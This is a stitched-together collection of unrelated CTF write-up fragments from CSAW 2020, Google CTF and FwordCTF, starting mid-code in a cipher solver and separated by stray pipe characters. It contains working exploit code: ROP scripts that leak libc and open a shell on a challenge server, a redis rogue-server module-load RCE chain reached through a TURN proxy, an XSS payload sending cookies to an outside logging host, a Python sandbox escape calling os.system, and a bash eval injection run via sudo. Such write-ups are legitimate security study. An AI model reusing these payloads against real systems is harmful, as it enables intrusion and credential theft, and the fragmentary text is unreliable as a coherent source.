#as the challenge name(difib=>reverse of bifid) suggest the real stuff in this challenge is to reverse the key for rambl in rambls[::-1]: #the keys should be less than 25 characters without j if len(rambl) < 26: #Bifid(<key>, <period(box grid)>).decipher(<cipher>) message=Bifid(rambl,5).decipher(message).lower()
#consider x as spacesprint(message.replace("x", " "))#================> ust some unnecessary te t that holds absolutely no meaning whatsoever and bears no significance to you in any way
#so by guessing we can arrive at "just some unnecessary text that holds absolutely no meaning whatsoever and bears no significance to you in any way"
#submit to the gaurd and get the flag \0/connection=remote("crypto.chal.csaw.io","5004")connection.sendlineafter("!", "just some unnecessary text that holds absolutely no meaning whatsoever and bears no significance to you in any way")print(connection.recvall())
```> [original writeup](https://github.com/rithik2002/CSAW_CTF_2020/blob/master/modulusOPerandi_complete/getFlag.py) |
So I just solved this using my autopwner which you can find: https://github.com/guyinatuxedo/remenissions
```$ remenissions -b rop -l libc-2.27.so```
and after it runs, it will auto generate an exploit for you:
```$ python3 verfied-exploit-Ret2Libc-0.py [+] Starting local process './rop': pid 6213[*] running in new terminal: /usr/bin/gdb -q "./rop" 6213[-] Waiting for debugger: debugger exited! (maybe check /proc/sys/kernel/yama/ptrace_scope)libc base is: 0x7f85b8caf000[*] Switching to interactive modeHello$ w 13:18:35 up 1:35, 1 user, load average: 0.70, 0.24, 0.16USER TTY FROM LOGIN@ IDLE JCPU PCPU WHATguyinatu :0 :0 11:51 ?xdm? 2:38 0.00s /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu gnome-session --session=ubuntu$ lslibc-2.27.so remenissions-work rop verfied-exploit-Ret2Libc-0.py```
To run it against the remote server, just change it to point to the challenge server instead of running locally:```$ vim vim verfied-exploit-Ret2Libc-0.py```
Comment out the lower two lines, add the top one:```target = remote("pwn.chal.csaw.io", 5016)#target = process("./rop", env={"LD_PRELOAD":"./libc-2.27.so"})#gdb.attach(target)```
Then you can just run the script and get the flag:
```$ python3 verfied-exploit-Ret2Libc-0.py [+] Opening connection to pwn.chal.csaw.io on port 5016: Donelibc base is: 0x7ff3f6635000[*] Switching to interactive modeHello$ w 20:21:04 up 4 days, 17:41, 0 users, load average: 0.56, 0.71, 0.72USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT$ lsflag.txtrop$ cat flag.txtflag{r0p_4ft3r_r0p_4ft3R_r0p}``` |
## The Bards' Fail [150]*Pwn your way to glory! You do not need fluency in olde English to solve it, it is just for fun.*
`nc pwn.chal.csaw.io 5019`
Files: `bard`, `libc-2.27.so`
##### This challenge was quickly finished with [`pwnscripts`](https://github.com/152334H/pwnscripts). Try it!
This writeup will be a lot more succinct than my other write-ups. Most of the exploit is in figuring out what the program does, which is not the most exciting part of pwn.### Decompilation`bard` is much larger than `roppity`. The full decompilation is left in the appendix<sup>1</sup>, but there are still a few important parts of it to go over.
Everything that occurs is related to this function, which is called from `main()`:```cuint64_t run_everything_400F7C() { char s[488]; // [rsp+20h] [rbp-1F0h] uint64_t cookie; // [rsp+208h] [rbp-8h] // The cookie here is important to note. cookie = __readfsqword(0x28); memset(s, 0, 480); for ( int i = 0, s_ind = 0; i <= 9; ++i ) s_ind += choose_alignment_400EB7(&s[s_ind], i); char *s_ptr = s; for ( int j = 0; j <= 9; ++j ) s_ptr = combat_with_bard_sj_400DF4(s_ptr, j); return __readfsqword(0x28) ^ cookie;}```Two things happen inside this function:1. Under the `choose_alignment()` loop, you get to initialise `10` different `Bard`s. Each Bard is sort-of a `Union`, but we can separate the different types of `Bard`s into `Good` and `Evil` types: ```c typedef struct Good { char weapon; uint8_t PAD; uint16_t unknown_20; uint32_t unknown_15; char name[32]; uint64_t unknown_hex_4032000000000000; } Good; typedef struct Bad { char weapon; uint8_t PAD[7]; uint64_t unknown_hex_4032000000000000; uint32_t unknown_15; uint16_t unknown_20; char name[32]; uint8_t PAD2[2]; } Bad; ``` The values that are user-controlled are `weapon` and `name[]`. All 10 `Bards` are stored continuously on the stack, where `Good` bards take up 48 bytes and `Bad` bards take up 56.
If you're observant, you might have noticed that the stack storage for the 10 `Bards`, s[488], is only large enough to hold 10 `Good` bards, whereas a group of 10 `Bad` bards will overflow to the end of the stack.2. Each of the bards have combat sessions under the `combat_with_bard()` section. As far as I can tell, this part of the binary is mostly fluff. It might be possible to leak out the stack from this part, but it wasn't necessary for the full exploit.
If you need more details, you should really check out the code in the Appendix. Everything after here will be about the exploit.### OverflowThe stack is structured something like this:```+------------------------+-----------+-----------+-------------------------------+| Large s[488] chunk | canary | rbp-store | return pointer and ROP region |+----------488-----------|-----8-----|-----8-----|------as long as you want------+```If we do the math, the maximum size amount of memory we can write is `56*10 == 560`. However, blindly allocating `Bad` bards is likely to overwrite the stack canary and lead to a crash. We need to ensure that memory is *not* written to the canary, and that memory is also written to the return pointer region.
To do this, we can start by allocating 7 `Bad` bards and 1 `Good` bard:```+------+-------+| Good | Bad*7 |+--48--+--392--+```After that, we allocate another `Bad` bard. This will cover the stack canary under `Bad->name[]`, which we can specifically choose to not overwrite:```+-----------------------------+-----------+-----------+-------------------------------+| Large s[488] chunk | canary | rbp-store | return pointer and ROP region |+-------------488-------------|-----8-----|-----8-----|------as long as you want------++------+-------+-----------Bad------------+| Good | Bad*7 | Garbage | name[],padding |+--48--+--392--+----22---+-----0x20+2-----+```Then, we can allocate a final `Good` chunk that will allow us to write to the ROP region as `name[]`:```+-----------------------------+-----------+-----------+------------+| Large s[488] chunk | canary | rbp-store | ROP region |+-------------488-------------|-----8-----|-----8-----|-----32-----++------+-------+-----------Bad------------+----------Good----------+| Good | Bad*7 | Garbage | name[],padding | garbage | name[] |+--48--+--392--+----22---+-----0x20+2-----+-----8-----|-----32-----+```If all these ASCII diagrams are confusing, hopefully a POC can convince you:```pythonfrom pwnscripts import *context.binary = './bard'main = 0x40107B #context.binary.symbols['main']
class bard(pwnlib.tubes.process.process): def create(r, alignment:str, weapon:int, name: bytes): r.sendlineafter('choose thy alignment (g = good, e = evil):\n', alignment) for _ in range(3): r.recvline() r.sendline(str(weapon)) r.sendafter('name:\n', name) def combat(r, choice:str, v:int=None): r.sendlineafter('(r)un\n', choice) if choice == 'r': return r.recvline() if choice in 'mef': return ''.join([r.recvline() for _ in range(3)])
rop = ROP(context.binary)rop.puts(context.binary.got['putchar'])rop.call(main, [])
r = bard('./bard')r.create('g', 1, b'\n')for i in range(8): r.create('e', 1, b'\n')r.create('g', 1, rop.chain())log.info('ROP chain sent.')for i in range(10): r.combat('r')
r.interactive()```The PoC succeeds; the program jumps back to main after execution:```$ python3.8 poc.py[*] '/path/to/bard' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)[*] Loaded 14 cached gadgets for './bard'[+] Starting local process './bard': pid 18825[*] ROP chain sent.[*] Switching to interactive mode\x10\xcc\xde[\x7f*** Welcome to the Bards' Fail! ***
Ten bards meet in a tavern.They form a band.You wonder if those weapons are real, or just props...
Bard #1, choose thy alignment (g = good, e = evil):$ ```At the same time, the `ROP` chain we're using here allows us to leak the address of `libc` via a call to `puts(GOT['printf'])`. From here, we only need to call `system("/bin/sh")` to win.
### Server issuesIt was easy enough to continue that PoC to make a full blown exploit:```pythonfrom pwnscripts import *from sys import argvif len(argv) > 1: LOCAL = Trueelse: LOCAL = Falseif LOCAL: db = libc_db('./libc-database', binary='/lib/x86_64-linux-gnu/libc.so.6')else: db = libc_db('./libc-database', binary='./libc-2.27.so')context.binary = './bard'...if LOCAL: r = bard('./bard')else: r = rbard('pwn.chal.csaw.io', 5019)r.create('g', 1, b'\n')...for i in range(10): r.combat('r')
base = db.calc_base('putchar', extract_first_bytes(r.recvline(),6))log.info('base: ' + hex(base))rop = ROP(context.binary)rop.call(db.symbols['system'] + base, [db.symbols['str_bin_sh'] + base])
r.create('g', 1, b'\n')for i in range(8): r.create('e', 1, b'\n')r.create('g', 1, rop.chain())log.info('Second ROP chain sent.')
for i in range(10): r.combat('r')r.interactive()```Strangely, this payload, while working perfectly on local:```python$ python3.8 poc.py 1[*] '/path/to/bard' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)[*] Loaded 14 cached gadgets for './bard'[+] Starting local process './bard': pid 19069[*] First ROP chain sent.[*] base: 0x7fdfe5260000[*] Second ROP chain sent.[*] Switching to interactive mode$ echo hihi$```...was completely broken on remote:```python$ python3.8 poc.py[*] '/path/to/bard' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)[*] Loaded 14 cached gadgets for './bard'[+] Opening connection to pwn.chal.csaw.io on port 5019: Done[*] First ROP chain sent.[*] base: 0x7f308d575000[*] Second ROP chain sent.Traceback (most recent call last): File "poc.py", line 54, in <module> for i in range(10): r.combat('r') File "poc.py", line 28, in combat if choice == 'r': return r.recvline() ... File "/usr/local/lib/python3.8/site-packages/pwnlib/tubes/sock.py", line 56, in recv_raw raise EOFErrorEOFError```After a long period of debugging, I realised that this was due to two separate issues:1. `system()` on remote requires a valid `rbp`<sup>2</sup>. The `rbp` applied by the final `Bad` bard is filled with garbage values.2. The remote simply fails to send the final line of output for the last instance of `combat()`. Not entirely sure why.
Editing the exploit to use a `one_gadget`<sup>3</sup> instead, we're able to solve for (1). Issue (2) was handled by editing the script's i/o a little bit.
That really fails to explain anything, so here is the final script:```pythonfrom pwnscripts import *context.binary = './bard'main = 0x40107B #context.binary.symbols['main']db = libc_db('./libc-database', binary='./libc-2.27.so')
class rbard(pwnlib.tubes.remote.remote): def create(r, alignment:str, weapon:int, name: bytes): r.sendlineafter('choose thy alignment (g = good, e = evil):\n', alignment) for _ in range(3): r.recvline() r.sendline(str(weapon)) r.sendafter('name:\n', name) def combat(r, choice:str, v:int=None): r.sendlineafter('(r)un\n', choice) if choice == 'r': return r.recvline() if choice in 'mef': return ''.join([r.recvline() for _ in range(3)])
rop = ROP(context.binary)rop.puts(context.binary.got['putchar'])rop.call(main, [])
r = rbard('pwn.chal.csaw.io', 5019)r.create('g', 1, b'\n')for i in range(8): r.create('e', 1, b'\n')r.create('g', 1, rop.chain())log.info('First ROP chain sent.')
for i in range(10): r.combat('r')base = db.calc_base('putchar', extract_first_bytes(r.recvline(),6))log.info('base: ' + hex(base))rop = ROP(context.binary)rop.call(db.select_gadget(1)+base, [])
r.create('g', 1, b'\n')for i in range(8): r.create('e', 1, b'\n')r.create('g', 1, rop.chain())log.info('Second ROP chain sent.')
for i in range(9): r.combat('r')r.sendlineafter('(r)un\n', 'r') # Remote weirdnessr.interactive()```That's it.### Flag`flag{why_4r3_th3y_4ll_such_c0w4rds??}`### Appendix1. Here is the entire C code:```C#include <...>char alignments_byte_6020A0[16]; // Global variable// For both of these structs, there is no invisible paddingtypedef struct Good { char weapon; uint8_t PAD; uint16_t unknown_20; uint32_t unknown_15; char name[32]; uint64_t unknown_hex_4032000000000000;} Good;typedef struct Bad { char weapon; uint8_t PAD[7]; uint64_t unknown_hex_4032000000000000; uint32_t unknown_15; uint16_t unknown_20; char name[32];} Bad;char *read_n_chars_400857(int len, char *s){ // This function is never directly called; it reads `len` chars into s[] memset(s, 0, len); int s_ind = 0; while (1) { char c = getchar(); if ( c == '\n' || feof(stdin) ) break; if ( s_ind < len - 1 ) s[s_ind++] = c; } s[s_ind] = '\0'; return s+s_ind;}long long read_32chars_return_first_4008DC(){ // This function will read up-to 32 chars, but will only return the first char's value. char s[40]; read_n_chars_400857(32, s); return s[0];} // invis stack check here
int read_32chars_return_atoi_40091E(){ //Like the previous func; this one reads up-to 32 chars, and returns its `atoi()` value char s[40]; read_n_chars_400857(32, s); return atoi(s);} // invis stack check here
ssize_t init_good_400968(Good *s){ // Initialiser for a bard of `good` alignment puts("Choose thy weapon:"); puts("1) +5 Holy avenger longsword"); // 'l' puts("2) +4 Crossbow of deadly accuracy"); // 'x' fflush(stdout); char c = read_32chars_return_first_4008DC(); if ( c == '1' ) s->weapon = 'l'; else { if ( c != '2' ) { printf("Error: invalid weapon selection. Selection was %c\n", c); exit(0); } s->weapon = 'x'; } s->unknown_20 = 20; s->unknown_15 = 15; s->unknown_hex_4032000000000000 = 0x4032000000000000; puts("Enter thy name:"); fflush(stdout); ssize_t result = read(0, s->name, 0x20); // this is a raw read! for ( int i = 0; i <= 30; ++i ) { // This ignores s[31]. result = s->name[i]; if ( result == 0xA ) s->name[result=i] = 0; } return result;}
ssize_t init_evil_400A84(Bad *s){ // Initialiser for a bard of `bad` alignment puts("Choose thy weapon:"); puts("1) Unholy cutlass of life draining"); // 'c' puts("2) Stiletto of extreme disappointment");// 's' fflush(stdout); char c = read_32chars_return_first_4008DC(); if ( c == '1' ) s->weapon = 'c'; else { if ( c != '2' ) { printf("Error: invalid weapon selection. Selection was %c\n", c); exit(0); } s->weapon = 's'; } s->unknown_20 = 20; s->unknown_15 = 15; s->unknown_hex_4032000000000000 = 0x4032000000000000; puts("Enter thy name:"); fflush(stdout); ssize_t result = read(0, s->name, 0x20); for ( int i = 0; i <= 30; ++i ) { // Same bug as in init_good result = s->name[i]; if ( result == '\n' ) s->name[result=i] = '\0'; } return result;}int combat_good_400BA0(char *name){ // Combat with a good bard puts("What dost thou do?"); puts("Options:"); puts("(b)ribe"); puts("(f)latter"); puts("(r)un"); fflush(stdout); char c = read_32chars_return_first_4008DC(); if ( c == 'b' ) { puts("How much dost thou offer for deadbeef to retire?"); fflush(stdout); if ( read_32chars_return_atoi_40091E() <= 0 ) puts("Not this time."); else puts("Alas! Thy funds are insufficient!"); return puts("Thou hast been eaten by deadbeef."); } else if ( c == 'f' ) { printf("%s: \"Thy countenance art so erudite, thou must read RFCs each morning over biscuits!\"\n", name); puts("deadbeef: \"aaaaaaaaaaaaaaaaaaaaaaaaa...\""); return puts("Thou hast been eaten by deadbeef."); } else { if ( c != 'r' ) { puts("Error: invalid selection."); exit(0); } return printf("%s bravely runs away.\n", name); }}
int combat_bad_400CD0(char *name){ // Combat with a bad bard puts("What dost thou do?"); puts("Options:"); puts("(e)xtort"); puts("(m)ock"); puts("(r)un"); fflush(stdout); char c = read_32chars_return_first_4008DC(); if ( c == 'e' ) { printf("%s: \"Give me five gold pieces or I'll start singing!\"\n", name); puts("Sheriff: \"To the gaol with thee, villain!\""); return printf("%s is arrested.\n", name); } else if ( c == 'm' ) { printf("%s: \"Thy face looks like thou took a 30-foot sprint in a 20-foot room!\"\n", name); puts("Sheriff: \"Zounds! That is slander!\""); return printf("%s is arrested.\n", name); } else { if ( c != 'r' ) { puts("Error: invalid selection."); exit(0); } return printf("%s flees the scene.\n", name); }}
char *combat_with_bard_sj_400DF4(char *s, int j){ // Generic combat with a bard of index j and memory *s char alignment = alignments_byte_6020A0[j]; putchar('\n'); if ( alignment == 'g' ) { printf("%s confronts the evil zombie deadbeef.\n", s + 8); combat_good_400BA0(s + 8); return s+48; } else { if ( alignment != 'e' ) { puts("Error in reading alignments."); exit(0); } printf("%s confronts the town sheriff.\n", s + 22); combat_bad_400CD0(s + 22); return s+56; }}
int64_t choose_alignment_400EB7(char *s, int i){ //generic bard initialiser putchar('\n'); printf("Bard #%d, choose thy alignment (g = good, e = evil):\n", (unsigned int)(i + 1)); fflush(stdout); char alignment = read_32chars_return_first_4008DC(); if ( alignment == 'g' ) { alignments_byte_6020A0[i] = 'g'; init_good_400968((Good *)s); return 48; } else { if ( alignment != 'e' ) { printf("Invalid alignment: %c\n", alignment); exit(0); } alignments_byte_6020A0[i] = 'e'; init_evil_400A84((Bad *)s); return 56; }}
uint64_t run_everything_400F7C() { char s[488]; // [rsp+20h] [rbp-1F0h] unsigned __int64 cookie; // [rsp+208h] [rbp-8h] // The cookie here is important to note. cookie = __readfsqword(0x28); memset(s, 0, 480); int s_ind = 0; for ( int i = 0; i <= 9; ++i ) s_ind += choose_alignment_400EB7(&s[s_ind], i); char *s_ptr = s; for ( int j = 0; j <= 9; ++j ) s_ptr = combat_with_bard_sj_400DF4(s_ptr, j); return __readfsqword(0x28) ^ cookie;}
int main() { puts("*** Welcome to the Bards' Fail! ***\n"); puts("Ten bards meet in a tavern."); puts("They form a band."); puts("You wonder if those weapons are real, or just props..."); run_everything_400F7C(); puts("Thy bards hast disbanded!\n"); return 0;}```That's really a lot of code.2. As to why it worked locally? I did not investigate.3. Specifically, we're using the one_gadget that has a requirement of `[rsp+0x40] == 0`. It just works. |
# SANITY- Category : Sanity- Points : 5- Flag: flag{w3lc0m3_t0_csaw2020}## CHALLENGEJoin our [discord](https://discord.gg/dwYNJ7M)## SOLVEThis challenge is simple. Click the link provided to join the CSAW discord. Then navigate to the `#announcements` channel and view the description.You'll find the flag `flag{w3lc0m3_t0_csaw2020}` there. |
# ezbreezy100 pts
This binary has nothing to hide!
[app]
## Flag:```flagflag{u_h4v3_r3c0v3r3d_m3}```
## SolutionDownload binary. Open in Ghidra. It's an ELF, x64. Entry point at 0x00101080. Jumps to 0x001011d8, loads a string into memory. String does not have the flag. Calls another function, 0x00101179 which open a txt file, reads it, closes the file and leaves - not even a real. Back in function 0x001011d8, we clean up and leave. Nothing to see here, move along.
So what else in in the binary? Que function at 0x009001a0. Big compare and jump. Good to look at this in the function graph.
At the end of this, it just sets EAX to 0 and leaves. So lets look at what's its doingTwo ways to handle this - either walk out the logic, or force the jump and see what happens. Ended up just hand-jamming values, wasn't that bad. There are three values, a move to stack and two compared values. Just looking at the stack values:```shell8e 94 89 8f a3 9d 87 90 5c 9e 5b 87 9a 5b 8b 58 9e 5b 9a 5b 8c 87 95 5b a5 ```
And that's when I got lost. This was gibberish. Turns out, from here the solution is to subtract 0x28 from all values. But why???
Original Writeup: [Github](https://github.com/crr0tz-4-d1nn3r/CTFs/tree/master/CSAW_quals_2020/rev/ezbreezy) |
### 0x00 Challenge
supervisord.conf:
```[supervisord]nodaemon=true
[program:gunicorn3]command=gunicorn3 --workers=10 -b 0.0.0.0:5000 app:appautorestart=trueuser=www
[program:coturn]command=turnserverautorestart=trueuser=www
[program:redis]command=timeout 60s redis-server --bind 0.0.0.0autorestart=trueuser=www```
Dockerfile:
```FROM ubuntu:18.04
RUN adduser --disabled-password --gecos '' www
RUN apt-get update && apt-get install -y coturn redis python3 python3-pip gunicorn3 supervisor
WORKDIR appCOPY requirements.txt .RUN pip3 install -r requirements.txt
COPY flag.txt /RUN chmod 444 /flag.txt
COPY supervisord.conf /etc/supervisor/conf.d/supervisord.confRUN echo 'min-port=49000' >> /etc/turnserver.confRUN echo 'max-port=49100' >> /etc/turnserver.conf
COPY app.py .COPY static static
EXPOSE 3478EXPOSE 5000
CMD ["supervisord"]```
app.py is indeed just a red herring so I am not gonna put it here.
### 0x01 Thoughts
Obviously, following line in supervisord config file is suspicious:
```command=timeout 60s redis-server --bind 0.0.0.0```
Every security guy should know *never bind redis server to 0.0.0.0*. Additionally, no password is set for this redis server, which implies this challenge is likely related to SSRF.
And by some chance, I do recall that TURN server could lead to some internal network magics. So, I started to do Googling and found https://hackerone.com/reports/333419. Unfortunately, the report's author is so bad that only a pcap file of pwning TURN server is provided. I have replayed these TCP packets and tried different clients, but none worked. Indeed, I spent ~8 hours on patching https://github.com/pion/turn/ and finally gave up.
Nonetheless,
**After attempting other challenges, I discovered the pattern of this whole CTF**:
### 0x02: SSRF
https://github.com/staaldraad/turner finally works for being an HTTP proxy based on TURN server. However, we somehow need to send TCP packets so as to interact with redis server.
So, being lazy enough, I applied the following change to L106 for `main.go` to send TCP messages to redis server.
```- methodLine := fmt.Sprintf("%s %s %s\r\n", r.Method, r.URL.Path, r.Proto)+ methodLine := fmt.Sprintf("INFO\r\n")```
And added the following line after L158 to print the response:
```+ fmt.Println(string(buf[:n]))```
Then, run this script in terminal (`go build && ./turner -server web.chal.csaw.io:3478`) and set the browser proxy to `127.0.0.1:8080`. By visiting `0.0.0.0:6379`, you can find the information of redis server on the terminal.
### 0x03: RCE
Since the version of redis server in the docker container is 4.x, we can apply this script: https://github.com/n0b0dyCN/redis-rogue-server
However, since I was too lazy to convert the former HTTP proxy to a socks proxy, I directly dumped the commands sent to the redis server by this RCE script:
```SLAVEOF [YOUR_ROGUE_SERVER_ADDR] 21000CONFIG SET dbfilename exp.soMODULE LOAD ./exp.sosystem.exec 'cat /flag.txt'```
And patched the RCE script at L218 to make it only as a fake master server (rogue server):
```- try:- runserver(options.rh, options.rp, options.lh, options.lp)- except Exception as e:- error(repr(e))+ rogue = RogueServer(options.lh, options.lp)+ rogue.exp()```
Then, I again applied the change to L106 for `main.go` in turner:
```- methodLine := fmt.Sprintf("INFO\r\n")+ methodLine := fmt.Sprintf("SLAVEOF [YOUR_ROGUE_SERVER_ADDR] 21000\r\nCONFIG SET dbfilename exp.so\r\nMODULE LOAD ./exp.so\r\nsystem.exec 'cat /flag.txt'\r\n")```
Finally, run this script again in terminal (`go build && ./turner -server web.chal.csaw.io:3478`) and set the browser proxy to `127.0.0.1:8080`. By visiting `0.0.0.0:6379` and in the meantime constantly restarting rogue server, you can find the flag on the terminal.
`flag{ar3nt_u_STUNned_any_t3ch_w0rks_@_all?}` |
**tl;dr**
+ Carefully arranging structs on stack so as to overwrite saved rip , without corrupting the stack canary.+ Leak libc with puts and execute a ret2libc to get shell
Link to the full writeup: [here](https://blog.bi0s.in/2020/09/15/Pwn/CSAWQuals20-Bard/) |
# Pasteurize*Solution and write-up by team [Kalmarunionen](https://capturetheflag.withgoogle.com/scoreboard/kalmarunionen).*
This is a simple website which allows the user to create notes. Unintendedly, we can get full stored XSS on the website.
## Details
Post an array instead of a single value, then we can just inject JS directly. Vulnerable code:```const escape_string = unsafe => JSON.stringify(unsafe).slice(1, -1) .replace(/</g, '\\x3C').replace(/>/g, '\\x3E');```
POST with `content=alert()` yields the expected:
```<script> const note = "alert()"; const note_id = "8028b109-cac1-4351-ad42-16c61cded87d";...```
POST with `content[]=; alert(); //` yields XSS:```<script> const note = ""; alert(); //""; const note_id = "8028b109-cac1-4351-ad42-16c61cded87d";```
Thus, from here it is a simply matter of e.g. redirecting to steal the cookie. Payload is `; window.location = 'http://xss.wep.dk/log/5f40ca5c92911/writeup/?' + document.cookie; //`, yielding the result:```<script> const note = ""; window.location = 'http://xss.wep.dk/log/5f40ca5c92911/writeup/?' + document.cookie; //""; const note_id = "8028b109-cac1-4351-ad42-16c61cded87d"; ```
And thereby leaking the flag. The result can be observed on our website: http://xss.wep.dk/?id=5f40ca5c92911
## FLAGFlag: `CTF{Express_t0_Tr0ubl3s}` |
# **ezbreezy**
## **solution**
The file was a 64-bit ELF binary that was stripped. Fuzzing the binary and we see that it is reading a text file ```not_even_real.txt``` but that was not really helpful :( taking a closer look at the sections in the binary there was a section called ```.aj1ishudgqis``` that really looked interesting.
Looking at its the disassembly we can see some bytes loaded on the stack. We know that the flag's format is ```flag{}``` so the first 4 bytes would be.```102 108 97 103```
Bytes loaded on the stack```142 148 137 143 163 157 135 144 92 158 91 135 154 91 139 88 158 91 154 91 140 135 149 91 165 ```
So what do you notice between 102 and 142, 108 and 148, 97 and 137, 163 and 103? . Yes we can see a pattern where the diffrence is 40 :)
```
hex = "8e94898fa39d87905c9e5b879a5b8b589e5b9a5b8c87955ba5"flag = [(int("0x"+ hex[i:i+2], 16) - 40) for i in range(0, len(hex), 2)]print("".join(map(chr, flag)))
```
## flag```flag{u_h4v3_r3c0v3r3d_m3}``` |
Final Script:
```pythonfrom Crypto.Util.number import *import gmpy2from sympy import divisors
n = 0xab802dca026b18251449baece42ba2162bf1f8f5dda60da5f8baef3e5dd49d155c1701a21c2bd5dfee142fd3a240f429878c8d4402f5c4c7f4bc630c74a4d263db3674669a18c9a7f5018c2f32cb4732acf448c95de86fcd6f312287cebff378125f12458932722ca2f1a891f319ec672da65ea03d0e74e7b601a04435598e2994423362ec605ef5968456970cb367f6b6e55f9d713d82f89aca0b633e7643ddb0ec263dc29f0946cfc28ccbf8e65c2da1b67b18a3fbc8cee3305a25841dfa31990f9aab219c85a2149e51dff2ab7e0989a50d988ca9ccdce34892eb27686fa985f96061620e6902e42bdd00d2768b14a9eb39b3feee51e80273d3d4255f6b19e = 0x10001c = 0x6a12d56e26e460f456102c83c68b5cf355b2e57d5b176b32658d07619ce8e542d927bbea12fb8f90d7a1922fe68077af0f3794bfd26e7d560031c7c9238198685ad9ef1ac1966da39936b33c7bb00bdb13bec27b23f87028e99fdea0fbee4df721fd487d491e9d3087e986a79106f9d6f5431522270200c5d545d19df446dee6baa3051be6332ad7e4e6f44260b1594ec8a588c0450bcc8f23abb0121bcabf7551fd0ec11cd61c55ea89ae5d9bcc91f46b39d84f808562a42bb87a8854373b234e71fe6688021672c271c22aad0887304f7dd2b5f77136271a571591c48f438e6f1c08ed65d0088da562e0d8ae2dadd1234e72a40141429f5746d2d41452d916
chunk_size , bits = 64 , 1024a = 0xe64a5f84e2762be5r = 2**chunk_size
first_half = n//(2**(2048-64)) - 1second_half = inverse(a**30,r)*(n%r) %rseed_product = first_half*r + second_half
def getprime(s): p = 0 for _ in range(bits // chunk_size): p = (p << chunk_size) + s s = a * s % 2**chunk_size return p if gmpy2.is_prime(p) else 0
candidates = divisors(seed_product)for each in candidates: s,t = each , seed_product//each p,q = getprime(s),getprime(t) if p*q == n:break
h = (p-1)*(q-1)d = inverse(e,h)print(long_to_bytes(pow(c,d,n)).decode())```
[original writeup](https://saurav3199.github.io/CTF-writeups/GoogleCTF'20/) |
# slithery (Pwn, 100 points)
> Setting up a new coding environment for my data science students. Some of them> are l33t h4ck3rs that got RCE and crashed my machine a few times :(. Can you> help test this before I use it for my class? Two sandboxes should be better than> one...> > nc pwn.chal.csaw.io 5011
FLAG = flag{y4_sl1th3r3d_0ut}
This challenge is a Python jail escape. This being the first Python jail escape I have ever tried and completed I will give a brief summary of how I completed it the unintended way.
While skimming the python script I saw a check to see if the users input was in a blacklist.
```pythoncommand = input(">>> ")if any([x in command for x in blacklist.BLACKLIST]): raise Exception("not allowed!!")```
So I connected to the server and ran the following command to get all the words that were blacklisted.```pythonprint(blacklist.BLACKLIST)
['__builtins__', '__import__', 'eval', 'exec', 'import', 'from', 'os', 'sys', 'system', 'timeit', 'base64commands', 'subprocess', 'pty', 'platform', 'open', 'read', 'write', 'dir', 'type']```
At this point I knew what commands I couldn't use and got completely stuck. I looked up other python jail escape CTF challenges and came across two helpful writeups.
[Escaping Python Jails](https://anee.me/escaping-python-jails-849c65cf306e)[Python SSTI](https://misakikata.github.io/2020/04/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E4%B8%8ESSTI/)
It took me a lot of trial and error to finally come up with this over engineered script.
```pythonprint(''.__class__.__mro__[1].__subclasses__()[109].__init__.__globals__['SYS'.lower()].modules['OS'.lower()].__dict__['SYSTEM'.lower()]('cat flag.txt'))```
I did look at the server to see where the flag was and I found the intended solution in the same directory as the flag.
I learned a lot from this challenge and hopefully will complete more of these. |
# Bash is fun (Bash)
```user1@716fe67c8d07:/home/user1$ ls -ltotal 12-rwxr----- 1 root user-privileged 67 Aug 29 19:08 flag.txt-rwxr-xr-x 1 root user-privileged 565 Aug 29 19:08 welcome.sh-rwxr-xr-x 1 root root 62 Aug 29 19:08 welcome.txt```We need to read `flag.txt`, but we have insufficient permissions. Interestingly, `flag.txt` and `welcome.sh` are under the group `user-privileged` instead of `root`.```user1@716fe67c8d07:/home/user1$ sudo -lMatching Defaults entries for user1 on 716fe67c8d07: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User user1 may run the following commands on 716fe67c8d07: (user-privileged) NOPASSWD: /home/user1/welcome.sh```It seems like we can run `welcome.sh` as `user-privileged` without a password using `sudo`. Let's look at the contents of `welcome.sh`:```bashuser1@716fe67c8d07:/home/user1$ cat welcome.sh#!/bin/bashname="greet"while [[ "$1" =~ ^- && ! "$1" == "--" ]]; do case $1 in -V | --version ) echo "Beta version" exit ;; -n | --name ) shift; name=$1 ;; -u | --username ) shift; username=$1 ;; -p | --permission ) permission=1 ;;esac; shift; doneif [[ "$1" == '--' ]]; then shift; fi
echo "Welcome To SysAdmin Welcomer \o/"
eval "function $name { sed 's/user/${username}/g' welcome.txt ; }"export -f $nameisNew=0if [[ $isNew -eq 1 ]];then $namefi
if [[ $permission -eq 1 ]];then echo "You are: " idfi```Given that we are running this script as `user-privileged`, if we read `flag.txt` in the script, it will work because we have sufficient privileges. Now all we need to do is figure out how to insert a read of `flag.txt`.
The `eval` command looks suspicious, especially with the variable `$name` being inserted as the function name. We can pass a string that ends the function definition, runs `cat flag.txt`, and starts another function definition to continue where we left off. For example, if we pass the string```hi { echo hi; }; cat flag.txt; function greet```as `$name`, then the code that will be evaluated is```bashfunction hi { echo hi; }; cat flag.txt; function greet { sed 's/user//g' welcome.txt ; }```Let's try running it.```user1@716fe67c8d07:/home/user1$ sudo -u user-privileged ./welcome.sh -n 'hi { echo hi; }; cat flag.txt; function greet'Welcome To SysAdmin Welcomer \o/FwordCTF{W00w_KuR0ko_T0ld_M3_th4t_Th1s_1s_M1sdirecti0n_BasK3t_FTW}/home/user1/welcome.sh: line 23: export: {: not a function/home/user1/welcome.sh: line 23: export: echo: not a function/home/user1/welcome.sh: line 23: export: hi;: not a function/home/user1/welcome.sh: line 23: export: };: not a function/home/user1/welcome.sh: line 23: export: cat: not a function/home/user1/welcome.sh: line 23: export: flag.txt;: not a function/home/user1/welcome.sh: line 23: export: function: not a function```There were a bunch of errors caused by the `export` statement on the next line, but we got the flag. |
**tl;dr**
* Out-of bounds index write allows byte-by-byte overwrite of return address
Link to the full writeup: [https://blog.bi0s.in/2020/09/18/Pwn/CSAWQuals20-Grid/](https://blog.bi0s.in/2020/09/18/Pwn/CSAWQuals20-Grid/) |
